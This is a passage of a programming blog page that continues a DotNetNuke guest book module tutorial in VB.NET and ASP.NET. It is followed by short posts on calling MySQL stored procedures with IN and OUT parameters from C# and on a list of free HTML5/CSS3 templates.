- Updates the database. You pass a “GuestBookInfo” object to this method. The method then opens up the object and passes the individual parameters (ID, module ID, name, email, message, date entered) to the “YourCompany_GuestBook_Update” method in the DataProvider.vb file.

A Lot Of Stuff Was Deleted

You may notice that a lot of code was deleted out of the “GuestBookController.vb” file. Some of this were the optional interfaces that handle exporting data and searching. These are interfaces that you will want to read about and implement in your modules. However, they are not required, and they are left out for simplicity.

A lot of code was eliminated by using code that is exclusive to ASP.NET 2.0 and incompatible with ASP.NET 1.1. ASP.NET 2.0 really saves you a lot of work and requires less code.

The Presentation Layer (UI)

From this point on, the files that need to be altered reside in the “…/DesktopModules/GuestBook” directory.

To build the Presentation Layer, we will:

Alter the “localization” (.resx) files.
Alter “controls” and their “code-behind” files:
- EditGuestBook.ascx
- Settings.ascx
- ViewGuestBook.ascx

And that’s it! The module will then be complete.

Alter the Localization Files

Localization allows you to create labels that can have their text changed (for example, to change text from English to Spanish) by simply changing a “resource” file that has a “.resx” extension.

Double click on “EditGuestBook.ascx.resx” to open it.

Change the content so it matches the picture below. The order does not matter. Save and close the file when done.

Double click on “Settings.ascx.resx” to open it.

Change the content so it matches the picture below. The order does not matter. Save and close the file when done.

Double click on “ViewGuestBook.ascx.resx” to open it.

Change the content so it matches the picture below. The order does not matter. Save and close the file when done.

Alter the Controls

The module consists of three controls (and their “code-behind” files):

EditGuestBook.ascx
- EditGuestBook.ascx.vb
Settings.ascx
- Settings.ascx.vb
ViewGuestBook.ascx
- ViewGuestBook.ascx.vb

(A screen shot from the module definition that was created in the DotNetNuke site in the early step of the tutorial.)

Right-click on “EditGuestBook.ascx” and select “View Markup“:

Replace all the code with this code (save and close the file when done):

<%@ Control language="VB" 
     Inherits="YourCompany.Modules.GuestBook.EditGuestBook" 
     CodeFile="EditGuestBook.ascx.vb" 
     AutoEventWireup="true"%>
<%@ Register TagPrefix="dnn" TagName="Label" 
     Src="~/controls/LabelControl.ascx" %>
<dnn:label id="lblContent" runat="server" 
     controlname="lblContent" suffix=":">
</dnn:label>

<asp:ObjectDataSource ID="ObjectDataSource_Tasks" 
     runat="server" 
     DataObjectTypeName="YourCompany.Modules.
                         GuestBook.GuestBookInfo"
DeleteMethod="GuestBook_Delete" 
    InsertMethod="GuestBook_Insert" 
    OldValuesParameterFormatString="original_{0}"
    OnInit="Page_Load" SelectMethod="GuestBook_GetAll" 
    TypeName="YourCompany.Modules.GuestBook.GuestBookController"
    UpdateMethod="GuestBook_Update">
<SelectParameters>
  <asp:Parameter DefaultValue="00" Name="ModuleId" Type="Int32" />
</SelectParameters>
</asp:ObjectDataSource>

<asp:GridView ID="GridView1" runat="server" 
    AllowPaging="True" AutoGenerateColumns="False" 
    DataSourceID="ObjectDataSource_Tasks" 
    DataKeyNames="ID">
<Columns>

<asp:CommandField ShowDeleteButton="True" 
        ShowEditButton="True" />
<asp:BoundField DataField="ID" 
        HeaderText="ID" Visible="False" />
<asp:BoundField DataField="ModuleID" 
        HeaderText="ModuleID" Visible="False" />
<asp:BoundField DataField="Name" 
        HeaderText="Name" SortExpression="Name" />
<asp:BoundField DataField="Message" 
        HeaderText="Message" SortExpression="Message" />
<asp:BoundField DataField="Email" HeaderText="Email" />
<asp:BoundField ApplyFormatInEditMode="True" 
        DataField="DateEntered" DataFormatString="{0:d}"
HeaderText="Date" HtmlEncode="False" 
        SortExpression="DateEntered" />
</Columns>
</asp:GridView>

Right-click on “Settings.ascx” and select “View Markup“:

Replace all the code with this code (save and close the file when done):

<%@ Control Language="VB" AutoEventWireup="false" 
       CodeFile="Settings.ascx.vb" 
       Inherits="YourCompany.Modules.GuestBook.Settings" %>
<%@ Register TagPrefix="dnn" TagName="Label" 
       Src="~/controls/LabelControl.ascx" %>

<dnn:label id="lblshowform" runat="server" 
       controlname="txtshowform" suffix=":">
</dnn:label>

<br />

<asp:DropDownList ID="DropDownList1" runat="server" 
       AutoPostBack="True" 
       nSelectedIndexChanged="DropDownList1_SelectedIndexChanged">
  <asp:ListItem Selected="True">Yes</asp:ListItem>
  <asp:ListItem>No</asp:ListItem>
</asp:DropDownList>

Right-click on “ViewGuestBook.ascx” and select “View Markup“:

Replace all the code with this code (save and close the file when done):

<%@ Control Language="VB" 
     Inherits="YourCompany.Modules.GuestBook.ViewGuestBook" 
     CodeFile="ViewGuestBook.ascx.vb"
     AutoEventWireup="true" %>
<%@ Register TagPrefix="dnn" TagName="Label" 
     Src="~/controls/LabelControl.ascx" %>
<asp:ObjectDataSource ID="ObjectDataSource_Tasks" 
     runat="server" 
     DataObjectTypeName="YourCompany.Modules.
                         GuestBook.GuestBookInfo"
     DeleteMethod="GuestBook_Delete" 
     InsertMethod="GuestBook_Insert" 
     OldValuesParameterFormatString="original_{0}"
     SelectMethod="GuestBook_GetAll" 
     TypeName="YourCompany.Modules.
               GuestBook.GuestBookController"
     UpdateMethod="GuestBook_Update" 
     OnInit="Page_Load">
<SelectParameters>
  <asp:Parameter DefaultValue="00" 
          Name="ModuleId" Type="Int32" />
</SelectParameters>
</asp:ObjectDataSource>

<asp:GridView ID="GridView1" runat="server" 
       DataSourceID="ObjectDataSource_Tasks"
       AutoGenerateColumns="False" 
       AllowPaging="True" HorizontalAlign="Center">
<Columns>
<asp:BoundField DataField="Name" 
       HeaderText="Name" SortExpression="Name" />
<asp:BoundField DataField="Message" 
       HeaderText="Message" 
       SortExpression="Message" />
<asp:BoundField ApplyFormatInEditMode="True" 
       DataField="DateEntered" DataFormatString="{0:d}"
HeaderText="Date" 
       SortExpression="DateEntered" 
       HtmlEncode="False" />
</Columns>
<EmptyDataTemplate>
There are no entries.
</EmptyDataTemplate>
</asp:GridView>
<br />
<center>
<dnn:Label ID="lblAddMessage" runat="server" 
       ControlName="lblAddMessage" Suffix=":">
</dnn:Label>
</center>
<br />
<asp:FormView ID="FormView1" runat="server" 
      DataSourceID="ObjectDataSource_Tasks" 
      DefaultMode="Insert" HorizontalAlign="Center">
<InsertItemTemplate>
<table cellpadding="2" cellspacing="5" 
          style="width: 50%" align="center">
<tr>
<td align="right" style="width: 4px">
<asp:Label ID="Label1" 
   runat="server" Text="Name"></asp:Label></td>
<td style="width: 100px">
<asp:TextBox ID="NameTextBox" runat="server" 
     Text='<%# Bind("Name") %>' 
     Width="264px"></asp:TextBox></td>
</tr>
<tr>
<td align="right" style="width: 4px; height: 23px">
<asp:Label ID="Label3" runat="server" 
         Text="Email"></asp:Label></td>
<td style="width: 100px; height: 23px">
<asp:TextBox ID="EmailTextBox" runat="server" 
        Text='<%# Bind("Email") %>' 
        Width="264px"></asp:TextBox></td>
</tr>
<tr>
<td align="right" style="width: 4px; height: 21px">
<asp:Label ID="Label2" runat="server" 
        Text="Message"></asp:Label></td>
<td style="width: 100px; height: 21px">
<asp:TextBox ID="MessageTextBox" 
        runat="server" EnableViewState="False" 
        MaxLength="250" Rows="2" 
        Text='<%# Bind("Message") %>' 
        TextMode="MultiLine" 
        Width="264px"></asp:TextBox></td>
</tr>
<tr>
<td align="right" colspan="2" style="height: 21px">
<asp:Button ID="InsertButton" runat="server" 
        Text="Submit" CommandName="Insert" /></td>
</tr>
</table>
<br />

</InsertItemTemplate>
</asp:FormView>

Right-click on “EditGuestBook.ascx” and select “View Code“:

Replace all the code with this code (save and close the file when done.):

Collapse | Copy Code

Imports DotNetNuke
Imports System.Web.UI
Imports System.Collections.Generic
Imports System.Reflection
Imports DotNetNuke.Entities.Modules

Namespace YourCompany.Modules.GuestBook
Partial Class EditGuestBook Inherits PortalModuleBase
    Protected Sub Page_Load(ByVal sender As Object, _
              ByVal e As System.EventArgs)
        Try
        Catch exc As Exception
            Exceptions.ProcessModuleLoadException(Me, exc)
        End Try
    End Sub

    Protected Sub SetModuleId(ByVal sender As Object, _
              ByVal e As System.Web.UI.WebControls._
              ObjectDataSourceSelectingEventArgs) _
              Handles ObjectDataSource_Tasks.Selecting
        e.InputParameters("ModuleId") = ModuleId.ToString
    End Sub
End Class
End Namespace

Right-click on “Settings.ascx” and select “View Code“:

Replace all the code with this code (save and close the file when done):

Imports System
Imports System.Web.UI
Imports DotNetNuke
Imports DotNetNuke.Entities.Modules
Imports DotNetNuke.Services.Exceptions
Namespace YourCompany.Modules.GuestBook

Partial Class Settings Inherits ModuleSettingsBase
    Public Overrides Sub LoadSettings()
        Try
            If (Page.IsPostBack = False) Then
                If (Not (CType(TabModuleSettings(_
                       "showform"), _
                       String)) Is Nothing) Then
                    Me.DropDownList1.SelectedValue_
                       = CType(TabModuleSettings(_
                       "showform"), String)
                End If
            End If
        Catch exc As Exception
            Exceptions.ProcessModuleLoadException(Me, exc)
        End Try
    End Sub

    Protected Sub DropDownList1_SelectedIndexChanged(ByVal_
           sender As Object, ByVal e As EventArgs)
        Dim objModules As ModuleController = _
                 New ModuleController

        If (Me.DropDownList1.SelectedValue = "Yes") Then
            objModules.UpdateTabModuleSetting(_
                 TabModuleId, "showform", "Yes")
        Else
            objModules.UpdateTabModuleSetting(_
               TabModuleId, "showform", "No")
        End If
    End Sub
End Class
End Namespace

Right-click on “ViewGuestBook.ascx” and select “View Code“:

Replace all the code with this code (save and close the file when done):

Collapse | Copy Code

Imports DotNetNuke
Imports System.Web.UI
Imports System.Collections.Generic
Imports System.Reflection
Imports DotNetNuke.Entities.Modules
Namespace YourCompany.Modules.GuestBook

Partial Class ViewGuestBook
  Inherits Entities.Modules.PortalModuleBase
  Implements Entities.Modules.IActionable

    Public ReadOnly Property ModuleActions() _
          As Entities.Modules.Actions._
          ModuleActionCollection Implements _
          Entities.Modules.IActionable.ModuleActions
        Get
            Dim Actions As New Entities.Modules_
                  .Actions.ModuleActionCollection
            Actions.Add(GetNextActionID, _
                  Localization.GetString(_
                  Entities.Modules.Actions._
                  ModuleActionType.EditContent, _
                  LocalResourceFile), _
                  Entities.Modules.Actions._
                  ModuleActionType.EditContent, _
                  "", "", EditUrl(), False, _
                  Security.SecurityAccessLevel.Edit,_
                  True, False)
            Return Actions
        End Get
    End Property

    Protected Sub Page_Load(ByVal sender _
              As Object, ByVal e As System.EventArgs)
        Try
            Dim objModules As ModuleController_
                       = New ModuleController
            If Not Page.IsPostBack Then
                If (Not (CType(Settings("showform"), _
                         String)) Is Nothing) Then
                    If (CType(Settings("showform"), _
                              String) = "No") Then
                        ' Do not allow messages to be added
                        FormView1.Visible = False
                        lblAddMessage.Visible = False
                    End If
                End If
            Else
                Me.GridView1.DataBind()
            End If
        Catch ex As Exception
            Exceptions.ProcessModuleLoadException(Me, ex)
        End Try
    End Sub

    Protected Sub NewItem(ByVal sender As Object, _
              ByVal e As System.Web.UI.WebControls._
              FormViewInsertEventArgs) _
              Handles FormView1.ItemInserting
        e.Values.Item("ID") = 0
        e.Values.Item("ModuleId") = ModuleId.ToString()
        e.Values.Item("DateEntered") = _
              DateTime.Now.ToShortDateString
    End Sub

    Protected Sub SetModuleID(ByVal sender As _
              Object, ByVal e As System.Web.UI._
              WebControls.ObjectDataSourceSelectingEventArgs) _
              Handles ObjectDataSource_Tasks.Selecting
    e.InputParameters("ModuleId") = ModuleId.ToString
    End Sub
End Class
End Namespace

Review

Data Access Layer (DAL) (Done)
Business Logic Layer (BLL) (Done)
Presentation Layer (UI) (Done)

Build The Site

From the toolbar, select Build, then “Build Web Site“:

The site should build with no errors:

From the toolbar, select Debug, then Start Without Debugging:

The website will come up. Click “Guest Book” on the menu bar:

The module will now show:

How to install dotnetnuke in godaddy

VideoJanuary 8, 2014January 8, 2014gurupathi Leave a comment

Part -I

Part – II

Part – III

C# to MySQL Stored Procedure using IN and OUT Parameters

October 29, 2013gurupathi Leave a comment

This was a really hard task to learn – and unusually difficult in terms of google searching to try and understand the errors I was getting. I hope this helps someone through the initial learning on Specifically Executing Stored Routines on a MySQL Server using IN and OUT Parameters to communicate to the routine. I think this is an important skill to master as you can limit privileges on a shared MySQL account to just what you’ve defined can be executed.

So to get started you will need an account that has “Execute” privileges on a database. Once you have this you’ll want to create a “Stored Routine” which you can then Call from C#. I will show you how

My Routine I’m going to call is:

Code:

DELIMITER $$

CREATE DEFINER=`yourusername`@`%` PROCEDURE `AddThisDevice`(IN ThisMACID VARCHAR(45),IN ThisIP VARCHAR(20), OUT ThisResult VARCHAR(45))
begin
DECLARE myMAC VARCHAR(45) DEFAULT NULL;
select MAC from Devices where MAC = ThisMACID into myMAC;
IF myMAC IS NULL THEN
INSERT INTO Devices (MAC, DeviceIP) VALUES (ThisMACID, ThisIP);
SET ThisResult = “Added”;
ELSE
SET ThisResult = “Exists”;
END IF;
end $$
This simple creates a stored procedure to accept a MAC ID and IP address in the form of VARCHAR, test to see if that MAC already exists in the database and the either Add it and inform back that it was added or otherwise inform that it already exists.

To communicate with this Procedure look at the following C# code.

Code:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using MySql.Data; // mysql requires
using MySql.Data.MySqlClient; // mysql requires
using System.Net; // Required for MAC and IP routines
using System.Net.NetworkInformation; // Required for MAC and IP Routines
using System.Configuration; // For using App.config
using System.ComponentModel;
using System.Data; // mysql requires

namespace mysql1
{
class Program
{
static void Main(string[] args)
{
string connStr = ConfigurationManager.AppSettings[“connection”];
MySqlConnection myConnection = new MySqlConnection(connStr);

AddDevice(myConnection);

myConnection.Close();
Console.WriteLine(“closed”);

Console.ReadLine();
}

static void AddDevice(MySqlConnection myConnection)
{
try
{
Console.WriteLine(“Trying Connection….”);
if (myConnection.State != ConnectionState.Open)
{
myConnection.Open();
}
Console.WriteLine(“opened.”);
MySqlCommand cmd = new MySqlCommand();
cmd.Connection = myConnection;
cmd.CommandText = “AddThisDevice”;
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.Add(new MySqlParameter(“ThisMACID”, MySqlDbType.VarChar));
cmd.Parameters[“ThisMACID”].Value = GetMACAddress();
cmd.Parameters[“ThisMACID”].Direction = ParameterDirection.Input;
cmd.Parameters.Add(new MySqlParameter(“ThisIP”, MySqlDbType.VarChar));
cmd.Parameters[“ThisIP”].Value = GetActiveIP();
cmd.Parameters[“ThisIP”].Direction = ParameterDirection.Input;
cmd.Parameters.Add(new MySqlParameter(“ThisResult”, MySqlDbType.VarChar));
cmd.Parameters[“ThisResult”].Direction = ParameterDirection.Output;
cmd.ExecuteNonQuery();
Console.WriteLine(“Result: {0}”, cmd.Parameters[“ThisResult”].Value);

}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
You can see here that each Parameter needs (3) lines of configuration. You must first define the parameter and its type using the “add” command. Then you need to assign it a value if it’s an “IN” type. Finally you must specify the directionality of the parameter (ie. IN, OUT, INOUT etc).

In the example above GetMACAddress() and GetActiveIP() both simply return strings.

Final piece of knowledge you need is the connection string – specified as connStr. It isn’t visible as in this case I have it residing in AppSettings. This string needs to take on the following format. Add the following in your App.config

Code:

in the “appSettings” section

add key =”connection” value=”server=www.myserveraddr.com;user=myUserName;database=myDatabaseName;port=3306;password=myPasswordForMySQLUser;”
You will need to download the Mysql / C# connector from the MySQL people. You can find that assembly here: http://dev.mysql.com/downloads/connector/net/1.0.html once you have it downloaded and installed – you will need to include minimum mysql.data assembly.

Fresh and Free HTML5 and CSS3 Templates

September 18, 2013gurupathi Leave a comment

The first thing web developers consider when they need to create an extremely stylish and trendy website is CSS3 and HTML5. This is because of the functionality and features they offer and why HTML5 and CSS3 are a major topic for web designers.

Taking this into account, we thought to compile another fresh and cool collection of some professional HTML5 and CSS3 templates. So, here we are with 45 free, but fresh, templates that you can download.
So, enjoy this collection and have more fun in making the web experience more pleasurable and gratifying. Let us have a close look!

1. Interio

Share this:

Like this:

Share this:

Like this:

Share this:

Like this:

Introduction

Requirements

Setup

The Guest Book Module

Data Access Layer (DAL)

Connect To The Database

Delete the Sample Database Objects

Create The Table

Create the Stored Procedures

Review

The Business Logic Layer (BLL)

Alter the “GuestBookInfo.vb” file

Alter the “GuestBookController.vb” file

Review

A Lot Of Stuff Was Deleted

The Presentation Layer (UI)

Alter the Localization Files

Alter the Controls

Review

Build The Site

Share this:

Like this:

Share this:

Like this:

Share this:

Like this:

The first thing web developers consider when they need to create an extremely stylish and trendy website is CSS3 and HTML5. This is because of the functionality and features they offer and why HTML5 and CSS3 are a major topic for web designers.

2. Art School Template

3. Folder

4. Template for Business Project

5. Nova

6. CSS3 Seascape Two

7. Kroft

8. Thom Sander

9. Scenic Photo

10. Hatha Yoga

11. Connoisseur

12. Point

13. Vivid Photo

14. Pro Soft

15. Photo Style Two

16. Animated Template for Design Studio

17. CSS3 Six Dark

18. Free Website Template with JustSlider

19. Trinity HTML5 Template

20. Shinra

21. Zeni

22. Modus

23. IMCreatives HTML5 and CSS3 Template

24. Template for Food Delivery Project

25. Principato HTML5 and CSS Template

26. Wedding Website Template with jQuery Slider

27. Fascination HTML5 and CSS3 Template

28. Template with jQuery Slider for Car Project

29. AppleGreen HTML5 and CSS3 Template

30. Template for Exterior Design Project with jQuery Slider

31. CatTemplate HTML5 and CSS3 Template

32. Template for Youth Organization

33. KiteSurf HTML5 and CSS3 Template

34. Template for Law Business

35. Template with jQuery Slider for Consulting Business

36. TechnicalLine HTML5 and CSS3 Template

37. Template with jQuery Gallery for Music Site

38. FreshIdeas HTML5 and CSS3 Template

39. HTML5 Charity Center Template

40. ThinkSimple HTML5 and CSS3 Template

41. Androidian HTML5 and CSS3 Template

42. iPhone Application Template

43. RedX HTML5 and CSS3 Template

44. HTML5 website template for airline company

45. Real Estate Website

Share this:

Like this:

Configure the Master